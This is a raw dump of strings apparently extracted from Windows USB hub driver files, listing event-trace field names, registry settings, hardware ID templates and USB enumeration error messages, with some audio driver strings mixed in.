fid_USBHUB_HC ComplexData Name fid_USBHUB_Device Data Name fid_Status fid_USBHUB_HC fid_USBHUB_Device fid_Status fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_DeviceHandle fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Device Data Name fid_PowerState Data Name fid_Status fid_USBHUB_HC fid_USBHUB_Device fid_PowerState fid_Status fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_DeviceHandle fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PowerState Data Name fid_Status fid_USBHUB_HC fid_USBHUB_Hub fid_PowerState fid_Status fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber ComplexData Name fid_USBHUB_CD_Error_Information fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_USBHUB_CD_Error_Information fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed fid_Version fid_PathError fid_UlongArg1 fid_UlongArg2 fid_NtStatus fid_XtraInfo EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber ComplexData Name fid_USBHUB_ID_Error_Information fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_USBHUB_ID_Error_Information fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed fid_Version fid_PathError fid_Arg1 fid_UsbAddress fid_NtStatus fid_UsbdStatus fid_XtraInfo EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber Data Name fid_Class Data Name fid_NtStatus Data Name fid_UsbdStatus Data Name fid_DebugText fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_Class fid_NtStatus fid_UsbdStatus fid_DebugText fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData Data Name fid_TimeElapsedBeforeLogStart ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber Data Name fid_Class Data Name fid_NtStatus Data Name fid_UsbdStatus Data Name fid_DebugText fid_TimeElapsedBeforeLogStart fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_Class fid_NtStatus fid_UsbdStatus fid_DebugText fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber Data Name fid_PortAttributes fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_PortAttributes fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber ComplexData Name fid_USBHUB_Acpi_Upc_Package fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_USBHUB_Acpi_Upc_Package fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed fid_PortIsConnectable fid_PortConnectorType fid_Reserved0 fid_Reserved1 EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber ComplexData Name fid_USBHUB_Acpi_Pld fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_USBHUB_Acpi_Pld fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed fid_PortPath EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber Data Name fid_PortStatusChange fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_PortStatusChange fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber Data Name fid_TimerTag fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_TimerTag fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed Microsoft-Windows-USB-USBHUB START ERROR COMPLETE DISPATCH REMOVE INFORMATION EXCEPTION QUEUE win:Critical win:Error win:Warning win:Informational USBHUB_HUB USBHUB_HUB_ENUMERATE USBHUB_HUB_SUSPEND USBHUB_HUB_RESUME USBHUB_HUB_HARD_RESET USBHUB_HUB_QUERY_BUSRELATIONS USBHUB_HUB_WAIT_WAKE USBHUB_HUB_POWER USBHUB_PORT_INFORMATION USBHUB_DEVICE USBHUB_DEVICE_START USBHUB_DEVICE_POWER USBHUB_DEVICE_IDLE_NOTIFICATION USBHUB_DEVICE_WAIT_WAKE USBHUB_HUB_EXCEPTION USBHUB_HUB_PORT_STATUS USBHUB_DEVICE_SYNC_RESET_DEVICE_INTERNAL USBHUB_HUB_PAST_EXCEPTION USBHUB_DEVICE_IOCTL_INTERNAL_USB_RESET_PORT USBHUB_HUB_TIMER Diagnostics ms:ReservedKeyword44 ms:Telemetry ms:Measures ms:CriticalData VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Default Hub Driver for USB FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName usbhub.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename usbhub.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation WEVT_TEMPLATE en-US PsGetVersion WmiTraceMessage WmiQueryTraceInformation KseUnregisterShim KseRegisterShimEx EtwRegisterClassicProvider EtwUnregister usbshim NULL FixNokiaUsbserFilterStop9F MixerSettings\%s\PrimaryNode%03d Chan%03d NumVerbs InitVerbs ValidateCodecWrites ResetAudioFgOnStart GlobalSettings EnableDynamicDevices LatencyToleranceSupport DisableRawProcessingModeSupport m_SendFakePcxCfgDefVerbs SysAudioTopoMiniportWorkaround EAPDControlMethod EAPDPinOnValue Wave Mixer DeviceInterfaces\%s\FriendlyNames\%s PinConfigOverrideVerbs DeviceInterfaces\%s\DeviceParameters NULL (null) p%04d GPIOPinNum GPIOEAPDOnValue eSpeaker eLineOut eLineConnector eHeadphone eSpdifOut eHBDAOut eSpdifOutSpeaker eSpdifOutLineOut eHpSpdifSpeaker eHpSpdifLineOut eDuplicatedHpSpeaker eDuplicatedHpLineOut eDuplicatedLineOutSpeaker eDuplicatedSpeakerSpeaker eMicIn eCDIn eLineIn eSpdifIn eAuxIn eMuxedCapture eMixedCapture eMicArray eUnknownType eRedirectedInternalSpkHPSpeaker eRedirectedInternalSpkHPLineOut MixerSettings\%s\DuplicatedNode%03d FriendlyName CLSID eSpeaker2 eSpeaker3 eSpeaker4 eSpeaker5 eLineOut2 eLineOut3 eLineOut4 eLineOut5 eLineConnector2 eLineConnector3 eLineConnector4 eLineConnector5 eHeadphone2 eHeadphone3 eHeadphone4 eHeadphone5 eSpdifOut2 eSpdifOut3 eSpdifOut4 eSpdifOut5 eHDMIOut eHDMIOut2 eHDMIOut3 eHDMIOut4 eHDMIOut5 eSpdifOutSpeaker2 eSpdifOutSpeaker3 eSpdifOutSpeaker4 eSpdifOutSpeaker5 eSpdifOutLineOut2 eSpdifOutLineOut3 eSpdifOutLineOut4 eSpdifOutLineOut5 eHpSpdifOutSpeaker eHpSpdifOutSpeaker2 eHpSpdifOutSpeaker3 eHpSpdifOutSpeaker4 eHpSpdifOutSpeaker5 eHpSpdifOutLineOut eHpSpdifOutLineOut2 eHpSpdifOutLineOut3 eHpSpdifOutLineOut4 eHpSpdifOutLineOut5 eDuplicatedHpSpeaker2 eDuplicatedHpSpeaker3 eDuplicatedHpSpeaker4 eDuplicatedHpSpeaker5 eDuplicatedHpLineOut2 eDuplicatedHpLineOut3 eDuplicatedHpLineOut4 eDuplicatedHpLineOut5 eDuplicatedLineOutSpeaker2 eDuplicatedLineOutSpeaker3 eDuplicatedLineOutSpeaker4 eDuplicatedLineOutSpeaker5 eDuplicatedSpeakerSpeaker2 eDuplicatedSpeakerSpeaker3 eDuplicatedSpeakerSpeaker4 eDuplicatedSpeakerSpeaker5 eMicIn2 eMicIn3 eMicIn4 eMicIn5 eCDIn2 eCDIn3 eCDIn4 eCDIn5 eLineIn2 eLineIn3 eLineIn4 eLineIn5 eSpdifIn2 eSpdifIn3 eSpdifIn4 eSpdifIn5 eAuxIn2 eAuxIn3 eAuxIn4 eAuxIn5 eMuxedCapture2 eMuxedCapture3 eMuxedCapture4 eMuxedCapture5 eMixedCapture2 eMixedCapture3 eMixedCapture4 eMixedCapture5 eMicArray2 eMicArray3 eMicArray4 eMicArray5 eUnknownType2 eUnknownType3 eUnknownType4 eUnknownType5 eRedirectedInternalSpkHPSpeaker2 eRedirectedInternalSpkHPSpeaker3 eRedirectedInternalSpkHPSpeaker4 eRedirectedInternalSpkHPSpeaker5 eRedirectedInternalSpkHPLineOut2 eRedirectedInternalSpkHPLineOut3 eRedirectedInternalSpkHPLineOut4 eRedirectedInternalSpkHPLineOut5 Topo RtlGetVersion WaveportSettings\%s ActiveSpeakerPositions JackDebounceTimeInMs PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister DBGInterfaceOnFail HardwiredRedirectedRender DefaultVolumeLevels\%02x Boost Volume HDAudioMof UseCustomConnectionTypeA HDAudio IntAzAudPrivateInterface \IntAzAudPrivateInterface RtlQueryRegistryValuesEx {146F1A80-4791-11D0-A5D6-28DB04C10000} {00000000-0000-0000-ffff-ffffffffffff} NULL EndpointPriorities BULK_IN BULK_OUT INTERRUPT_IN INTERRUPT_OUT ISOCHRONOUS_IN ISOCHRONOUS_OUT VIDEO VOICE INTERACTIVE \Registry\Machine\System\CurrentControlSet\Control\usb\HardwareVerifier global usbUpto20 usb2X usb30 device \Registry\Machine\System\CurrentControlSet\Control\usb\Usb20HardwareLpm Usb20HardwareLpmOverride Usb20HardwareLpmTimeout \Registry\Machine\System\CurrentControlSet\Control\usb\UsbLtm UsbLtmEnable \Registry\Machine\System\CurrentControlSet\Control\usb\AutomaticSurpriseRemoval AutomaticSurpriseRemoval AttemptRecoveryFromUsbPowerDrain osvc IgnoreHWSerNum ResetOnResume DisableOnSoftRemove RequestConfigDescOnReset SkipContainerIdQuery AlternateSettingFilter DisableLPM MsOs20DescriptorSetInfo UseWin8DescriptorValidation SkipBOSDescriptorQuery DisableRecoveryFromPowerDrain e5b3b5ac-9725-4f78-963f-03dfb1d828c7 D3ColdSupported ResetTTOnCancel NoClearTTBufferOnCancel SymbolicName ExtPropDescSemaphore FriendlyName DeviceSelectiveSuspended EnumerationFailureCode AllowIdleIrpInD3 D3ColdReconnectTimeout MsOs20Flags EnumerationRetryCount RevisionId VendorRevision Ceip DeviceInformation PortInterconnectType DescriptorValidationInfo0 DescriptorValidationInfo1 DescriptorValidationInfo2 DescriptorValidationInfo3 DescriptorValidationInfo4 DescriptorValidationInfo5 DescriptorValidationInfo6 \Registry\Machine\System\CurrentControlSet\Services\USBHUB\hubg DisableSelectiveSuspendUI MsOsDescriptorMode EnableDiagnosticMode DisableUxdSupport EnableExtendedValidation WakeOnConnectUI PreventDebounceTimeForSuperSpeedDevices WakeSystemOnConnect HubFWUpdateProtocol HardResetCount LastHubResetPortStatus OvercurrentDetected \registry\machine\system\currentcontrolset\services\usbhub\uxd_control\devices \registry\machine\system\currentcontrolset\services\usbhub\uxd_control\policy \registry\machine\system\currentcontrolset\services\usbhub\uxd_control\pnp UxdGlobalDeleteOnShutdown UxdGlobalDeleteOnReload UxdGlobalDeleteOnDisconnect UxdGlobalEnable DeviceIdleEnabled DefaultIdleState DeviceIdleIgnoreWakeEnable DeviceInterfaceGUID {52783fc2-0179-4eca-bb46-128bba61975e} Usb4HostName UsePLDR VidPidRev PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister KseQueryDeviceFlags IoGetActivityIdIrp IoSetActivityIdIrp SuperSpeed USB Hub (Non Functional) %u#%wZ %I64x_%d Suspend unsupported by hardware Suspend unsupported by parent %wZ (%s) Selective Suspend Disabled By User Port_#%04d.Hub_#%04d USB(%d) \Device\USBPDO-%d UsbDripsBlockerSurpriseRemoval MiniNT USB\PORT_LINK_COMPLIANCE_MODE USB\RESET_FAILURE USB\DEVICE_DESCRIPTOR_VALIDATION_FAILURE USB\DEVICE_DESCRIPTOR_FAILURE USB\PORT_LINK_SSINACTIVE USB\CONFIG_DESCRIPTOR_FAILURE USB\CONFIGURATION_DESCRIPTOR_VALIDATION_FAILURE USB\UNKNOWN_DEVICE USB\SET_ADDRESS_FAILURE USB\VID_%04X&PID_%04X USB\VID_%04X&PID_%04X&REV_%S&MAUSB USB\VID_%04X&PID_%04X_NON_FUNCTIONAL USB\VID_%04X&PID_%04X&REV_%04X USB\VID_%04X&PID_%04X&MAUSB USB\VID_%04X&PID_%04X&REV_%S USB\VID_%04X&PID_%04X&REV_%04X&MAUSB USB\DevClass_00 USB\COMPOSITE USB\DevClass_00&SubClass_00&Prot_00 USB\DevClass_00&SubClass_00 USB\COMPAT_VID_%04X&DevClass_00 USB\USB20_HUB USB\COMPAT_VID_%04X&DevClass_00&SubClass_00&Prot00 USB\COMPAT_VID_%04X&DevClass_00&SubClass_00 USB\MS_COMP_%.8S USB\Class_%02X&Subclass_%02X&Prot_%02X&%wZ%cUSB\Class_%02X&Subclass_%02X&%wZ%cUSB\Class_%02X&%wZ USB\USB30_HUB USB\MS_COMP_%.8S&MS_SUBCOMP_%.8S USB\COMPAT_VID_%04X&Class_%02X USB\Class_%02X&SubClass_%02X&Prot_%02X USB\COMPAT_VID_%04X&Class_%02X&SubClass_%02X&Prot_%02X USB\COMPAT_VID_%04X&Class_%02X&SubClass_%02X USB\Class_11&SubClass_00&Prot_00 %.4X%.4X%S USB\Class_%02X&SubClass_%02X USB\Class_%02X SHA1 ObjectLength %.4X%.4X.%4X Microsoft Primitive Provider HashDigestLength MSFT30 MSFT20 USB:DEVICECLASS_%S USB:ROOT_HUB\%wZ&%wZ&%wZ\ USB:USB\%wZ&%wZ&%wZ\ USB:ROOT_HUB\VID_%S&PID_%S&REV_%S USB:USB\VID_%S&PID_%S&REV_%S USB:ROOT_HUB\VID_%S&PID_%S USB:USB\VID_%S&PID_%S USB:ROOT_HUB\%wZ&%wZ&%wZ\VID_%S&PID_%S&REV_%S USB:USB\%wZ&%wZ&%wZ\VID_%S&PID_%S&REV_%S USB:ROOT_HUB\%wZ&%wZ&%wZ\VID_%S&PID_%S USB:USB\%wZ&%wZ&%wZ\VID_%S&PID_%S @System32\drivers\usbhub3.sys %s,#%d;%s USB:ROOT_HUB\VID_%S USB:USB\VID_%S USBHUB USBHUB:GLOBAL_FLAGS %02X \Registry\Machine\System\CurrentControlSet\Control\usbflags UsbFlags %S%S%S %S%S \Registry\Machine\System\CurrentControlSet\Control\Usb\Ceip BootPathSurpriseRemovalCount \Registry\Machine\System\CurrentControlSet\Control\usb Port_%04X IgnoreHWSerNum%04X%04X uxd_port_%3.3d %04X%04X%04X MSFT100 ExRegisterBootDevice ExNotifyBootDeviceRemoval USB\VID_%04X&PID_%04X&BCD_%04X&GFU USB\MS_COMP_WINUSB&MS_SUBCOMP_GFU USB\VID_%04X&PID_%04X&GFU USB\VID_%04X&PID_%04X&BCD_%04X&REV_%04X&GFU USB\MS_COMP_WINUSB \Device\USBFWU-%d %sUSB-%p Usb4-Host-Interface- D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) KmdfLibrary TELASSERT RtlQueryRegistryValuesEx UsbVerifierStaticStreamCountOverride UsbVerifierFailStaticStreamSupport UsbVerifierFailChainedMdlSupport UsbVerifierFailRegistration UsbVerifierEnabled IoOpenDriverRegistryKey \Parameters \Driver\ UsbVerifierFailSecureTransferSupport UsbVerifierFailEnableStaticStreams DualRoleFeatures DualRoleFeaturesTestOverride \Registry\Machine\SYSTEM\CurrentControlSet\Control\USB VidStream IpOverUsb InterfaceList \Registry\Machine\SYSTEM\CurrentControlSet\Control\USBFN\Configurations\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\USBFN IncludeDefaultCfg \Registry\Machine\SYSTEM\CurrentControlSet\Control\USBFN\Default Default UcmIsPresent CurrentConfiguration Sleepstudy Unsupported MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumAllocationFailures NumLargeEventFailures SummaryCount NumFlushes MaxEntriesStored TotalEntriesFlushed \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\USBHUB3 WEVT_TEMPLATE USB device draining system power when system is idle. %n %nUSB Device: VID: %3 PID: %4 REV: %5 %nAction taken: %2 USB device draining system power when system is idle. %n %nUSB Device: VID: %3 PID: %4 REV: %5 %nRemoval action failed: %2 Re-enumerating a DRIPS blocking device that was previously removed when exiting low power epoch. %n %nUSB Device: VID: %3 PID: %4 REV: %5 %nIsPortCycle: %2 Failed to open USB4 remote target for tunneled port. %n %nStatus: %1 %n %nUSB Hub: VID: %2 PID: %3 REV: %4 Start Stop Start Error Complete Dispatch Remove Information Queue Warning A request for the USB device descriptor failed. The USB set address request failed. A USB port reset request failed. A previous instance of the USB device was not removed. The USB device returned an invalid USB configuration descriptor. The USB device returned an invalid USB device descriptor. Unable to access the registry. A request for the USB configuration descriptor failed. A request for the USB device's port status failed. The USB device returned an invalid serial number string. The USB set SEL request failed. A request for the USB BOS descriptor failed. A request for the USB device qualifier descriptor failed. A request for the USB serial number string descriptor failed. A request for the USB language ID string descriptor failed. A request for the USB product description string descriptor failed. A request for the Microsoft OS extended configuration descriptor failed. A request for the Microsoft OS container ID descriptor failed. The USB device returned an invalid USB BOS descriptor. The USB device returned an invalid USB device qualifier descriptor. The USB device returned an invalid USB language ID string descriptor. The USB device returned an invalid Microsoft OS container ID descriptor. The USB device returned an invalid Microsoft OS extended configuration descriptor. The USB device returned an invalid product description string descriptor. The USB device returned an invalid serial number string descriptor. The SuperSpeed link to the USB device keeps going to an error state SSInactive. The SuperSpeed link to the USB device keeps going to an error state Compliance. If the device is removable, remove the device and then disable/enable from device manager to recover. The USB device is not compatible with Windows. A request for the Microsoft OS 2.0 descriptor set failed. The USB device returned an invalid Microsoft OS 2.0 descriptor set. A MS OS 2.0 Set Alternate Enumeration request failed. The USB device returned an invalid Billboard AdditionalInfoUrl string descriptor. The USB device returned an invalid Alternate mode string descriptor. The USB audio device will not operate when connected to a Wireless Dock. The USB hub returned an invalid port status. The USB hub failed a control transfer request. The USB hub failed an interrupt transfer request. The USB hub failed to reset. Error Warning Information USB 3.0 Hub Driver Rundown Prepare Hardware Add Device Release Hardware D0 Entry D0 Exit Surprise Removal Cleanup USB Device Enumeration Descriptor Validation Client Request USB Port State Machine Hub Reset Control Transfer User-Mode IOCTL Illegal Endpoint Sharing Across Interfaces USB4 Host System This is the Analytic channel to which internal Analytic events from the USBHUB3 driver are sent. Start Rundown Complete Rundown USB 3.0 Hub Information USB 2.0/1.1 Hub Information USB Root Hub Information USB Device Information USB 2.0/1.1 Port USB 3.0 Port ACPI _UPC Package for Port ACPI _PLD Package for Port ACPI _DSD USB4 Host Controller String for Port Start of EvtDevicePrepareHardware for USB Hub Complete EvtDevicePrepareHardware for USB Hub USB 3.0 Hub Information USB 2.0/1.1 Hub Information USB Root Hub Information USB 2.0/1.1 Port USB 3.0 Port ACPI _UPC Package for Port ACPI _PLD Package for Port Start of EvtDeviceAdd for USB Hub Complete EvtDeviceAdd for USB Hub Start of EvtDeviceReleaseHardware for USB Hub Complete EvtDeviceReleaseHardware for USB Hub Start of EvtDeviceD0Entry for USB Hub Complete EvtDeviceD0Entry for USB Hub Start of EvtDeviceD0Exit for USB Hub Complete EvtDeviceD0Exit for USB Hub Start of EvtDeviceReleaseHardware for USB Hub Complete EvtDeviceReleaseHardware for USB Hub Start of EvtDeviceCleanup for USB Hub Complete EvtDeviceCleanup for USB Hub Start of EvtDevicePrepareHardware for USB Device Complete EvtDevicePrepareHardware for USB Device New USB Device Information USB Hub Nested Too Deeply Unknown USB Hub Type ACPI _DSD USB4 Host Controller String for Port Start of EvtDeviceAdd for USB Device Complete EvtDeviceAdd for USB Device Start of EvtDeviceReleaseHardware for USB Device Complete EvtDeviceReleaseHardware for USB Device Start of EvtDeviceD0Entry for USB Device Complete EvtDeviceD0Entry for USB Device Start of EvtDeviceD0Exit for USB Device Complete EvtDeviceD0Exit for USB Device Start of EvtDeviceReleaseHardware for USB Device Complete EvtDeviceReleaseHardware for USB Device Start of EvtDeviceCleanup for USB Device Complete EvtDeviceCleanup for USB Device Start of USB Device Enumeration Completion of USB Device Enumeration Retry Enumeration Maximum Enumeration Retry Count Reached USB Device Enumeration Failed Port Reset Timed Out USB Hub Was Reset On Resume Validation Failure of MS OS Extended Property Descriptor Header Validation Failure of MS OS Extended Property Descriptor Validation Failure of BOS Descriptor Header Validation Failure of BOS Descriptor Validation Failure of Configuration Descriptor Validation Failure of Device Descriptor Validation Failure of Device Qualifier Descriptor Validation Failure of Language ID String Descriptor Validation Failure of MS OS Container ID Descriptor Header Validation Failure of MS OS Container ID Descriptor Validation Failure of MS OS Descriptor Validation Failure of MS OS Extended Configuration Descriptor Header Validation Failure of MS OS Extended Configuration Descriptor Validation Failure of Product ID String Descriptor Validation Failure of Serial Number String Descriptor Validation Failure of MS OS 2.0 Descriptor Set Start of IRP_MJ_INTERNAL_DEVICE_CONTROL for USB Device Completion of IRP_MJ_INTERNAL_DEVICE_CONTROL for USB Device Start URB Client Request for USB Device Completion of URB Client Request for USB Device Invalid URB Header Length Invalid URB Function Start IOCTL_INTERNAL_USB_SUBMIT_IDLE_NOTIFICATION Complete IOCTL_INTERNAL_USB_SUBMIT_IDLE_NOTIFICATION Invoking Idle Notification Callback Port Status for 2.0 Port Port Status for 3.0 Port Error Evaluating ACPI _UPC Method for Port Error Evaluating ACPI _PLD Method for Port State Machine Event Unhandled State Machine Event Start of Hub Reset Request Completion of Start Hub Reset Request Hub Reset Request Due to Port Error Failure during Port Change Request Hub Control Transfer Error Port Control Transfer Error Device Control Transfer Error Status Change Interrupt Transfer Error SuperSpeed Hub Entered Invalid Power State as It Does Not Support Remote Wake and Selective Suspend Completion of IOCTL_USB_GET_NODE_INFORMATION Completion of IOCTL_USB_GET_NODE_CONNECTION_DRIVERKEY_NAME Completion of IOCTL_USB_GET_NODE_CONNECTION_INFORMATION Completion of IOCTL_USB_GET_NODE_CONNECTION_INFORMATION_EX Completion of IOCTL_USB_GET_NODE_CONNECTION_ATTRIBUTES Completion of IOCTL_USB_GET_NODE_CONNECTION_NAME Start of IOCTL_USB_GET_DESCRIPTOR_FROM_NODE_CONNECTION Completion of IOCTL_USB_GET_DESCRIPTOR_FROM_NODE_CONNECTION Completion of IOCTL_USB_GET_HUB_CAPABILITIES Completion of IOCTL_USB_GET_HUB_CAPABILITIES_EX Start of IOCTL_USB_HUB_CYCLE_PORT Completion of IOCTL_USB_HUB_CYCLE_PORT Completion of IOCTL_USB_RESET_HUB Completion of Unsuppported IOCTL Completion of IOCTL_USB_GET_PORT_CONNECTOR_PROPERTIES Completion of IOCTL_USB_GET_HUB_INFORMATION_EX Completion of IOCTL_USB_GET_NODE_CONNECTION_INFORMATION_EX_V2 UCX IOCTL Failed Request for Device Descriptor Failed Set Address Request Failed Request for Configuration Descriptor Failed Set SEL Request Failed Request for BOS Descriptor Failed Request for Device Qualifier Descriptor Failed Request for Serial Number String Descriptor Failed Request for Product ID String Descriptor Failed Request for Microsoft OS Extended Configuration Descriptor Failed Request for Microsoft OS Container ID Descriptor Failed Device Control Transfer for Set Isoch Delay Failed Request for Language ID String Descriptor Failed Unable to Access Registry SuperSpeed Device is Connected on the 2.0 Bus Hub Exceeded Reset Limit. Declaring a PNP failure in the State Machine. Device Supports Remote Wake in Interface 0. But Does Not Report Remote Wake in the Configuration Descriptor Descriptor Validation Failure Device getting Re-Enumerated. This Enumeration is not Visible to PnP Manager New Serial Number does not match Cached Serial Number Client Initiated Recovery Action Query USB capability for device Request for Microsoft OS 2.0 Descriptor Set Failed Microsoft OS 2.0 Set Alternate Enumeration Command Failed Set Feature for U1 Enable Failed Set Feature for U2 Enable failed Descriptor Validation Warning Billboard Detected Alternate Mode Failed Alternate Mode Entered Request for Billboard Additional Information Url String Descriptor Failed Request for Alternate Mode String Descriptor Failed Validation Failure of Billboard String Descriptor Validation Failure of Alternate Mode String Descriptor USB device draining system power when system is idle. %n %nUSB Device: VID: %3 PID: %4 REV: %5 %nAction taken: %2 Device reported problems causing enumeration failure An endpoint is being shared across two non-zero bandwidth interfaces on the same device which is illegal and disallowed Firmware Update Device Information Firmware Update Enumeration Complete Firmware Update D0 Entry Firmware Update D0 Exit Firmware Update URB Complete Firmware Update Internal Complete Opened USB4 Remote Target Added Component Relation Failed to Add Component Relation Removed Component Relation Failed to Remove Component Relation Completion of IOCTL_USB_GET_NODE_CONNECTION_SUPERSPEEDPLUS_INFORMATION ControllerParentBusTypePci ControllerParentBusTypeAcpi ControllerParentBusTypeMaUsb QueryRemovalInitiated SkippedAsDeviceIsAHub SkippedAsCouldNotReadSettings SkippedAsDisabledInSettingsPanel SkippedAsHackflagSet SkippedAsRecentIoObservered SkippedAsAlreadyMarkedForRemoval (Device vetoed previous attempt) SkippedAsUnableToRegisterIrCallback SkippedAsIoRequestDeviceRemovalForResetFailed SkippedAsAcquireRemoveLockFailed SkippedAsWorkItemCreateFailed SkippedAsPersistentIoObserved SurpriseRemovalInitiated UnknownState System Microsoft-Windows-USB-USBHUB3-Analytic MapControllerParentBusType MapDripsWatchdogResult EventData Data Name fid_UsbDevice fid_UsbDevice EventData Data Name fid_UsbDevice ComplexData Name fid_USB30_HubDescriptor Data Name fid_CurrentWdfPowerDeviceState fid_UsbDevice fid_USB30_HubDescriptor fid_CurrentWdfPowerDeviceState fid_bDescriptorLength fid_bDescriptorType fid_bNumberOfPorts fid_wHubCharacteristics fid_bPowerOnToGood fid_bHubControlCurrent fid_bHubHdrDecLat fid_wHubDelay fid_DeviceRemovable EventData Data Name fid_UsbDevice ComplexData Name fid_USB20_HubDescriptor Data Name fid_CurrentWdfPowerDeviceState fid_UsbDevice fid_USB20_HubDescriptor fid_CurrentWdfPowerDeviceState fid_bDescriptorLength fid_bDescriptorType fid_bNumberOfPorts fid_wHubCharacteristics fid_bPowerOnToGood fid_bHubControlCurrent fid_bRemoveAndPowerMask EventData Data Name fid_UsbDevice Data Name fid_NtStatus fid_UsbDevice fid_NtStatus EventData Data Name fid_UsbDevice Data Name fid_NtStatus Data Name fid_PowerAction fid_UsbDevice fid_NtStatus fid_PowerAction EventData Data Name fid_UsbDevice Data Name fid_CurrentWdfPowerDeviceState fid_UsbDevice fid_CurrentWdfPowerDeviceState EventData Data Name fid_UsbDevice Data Name fid_PortNumber ComplexData Name fid_USBHUB_Acpi_Upc_Package fid_UsbDevice fid_PortNumber fid_USBHUB_Acpi_Upc_Package fid_PortIsConnectable fid_PortConnectorType fid_Reserved0 fid_Reserved1 EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_UsbCPortCapabilitiesValid ComplexData Name fid_USBHUB_Acpi_Upc_Package fid_UsbDevice fid_PortNumber fid_UsbCPortCapabilitiesValid fid_USBHUB_Acpi_Upc_Package fid_PortIsConnectable fid_PortConnectorType fid_Reserved0 fid_UsbCPortCapabilities fid_Reserved1 EventData Data Name fid_UsbDevice Data Name fid_PortNumber ComplexData Name fid_USBHUB_Acpi_Pld fid_UsbDevice fid_PortNumber fid_USBHUB_Acpi_Pld fid_PortPath EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_DsdUsb4String fid_UsbDevice fid_PortNumber fid_DsdUsb4String EventData Data Name fid_UsbDevice Data Name fid_PortNumber fid_UsbDevice fid_PortNumber EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_PortFlagAcpiUpcValid Data Name fid_PortConnectorType Data Name fid_UcmConnectorId Data Name fid_ControllerParentBusType Data Name fid_PciBus Data Name fid_PciDevice Data Name fid_PciFunction Data Name fid_PciVendorId Data Name fid_PciDeviceId Data Name fid_PciRevisionId Data Name fid_AcpiVendorId Data Name fid_AcpiDeviceId Data Name fid_AcpiRevisionId fid_UsbDevice fid_PortNumber fid_PortFlagAcpiUpcValid fid_PortConnectorType fid_UcmConnectorId fid_ControllerParentBusType fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_PciRevisionId fid_AcpiVendorId fid_AcpiDeviceId fid_AcpiRevisionId EventData Data Name fid_UsbDevice Data Name fid_PortNumber Data Name fid_PortFlagAcpiUpcValid Data Name fid_PortConnectorType Data Name 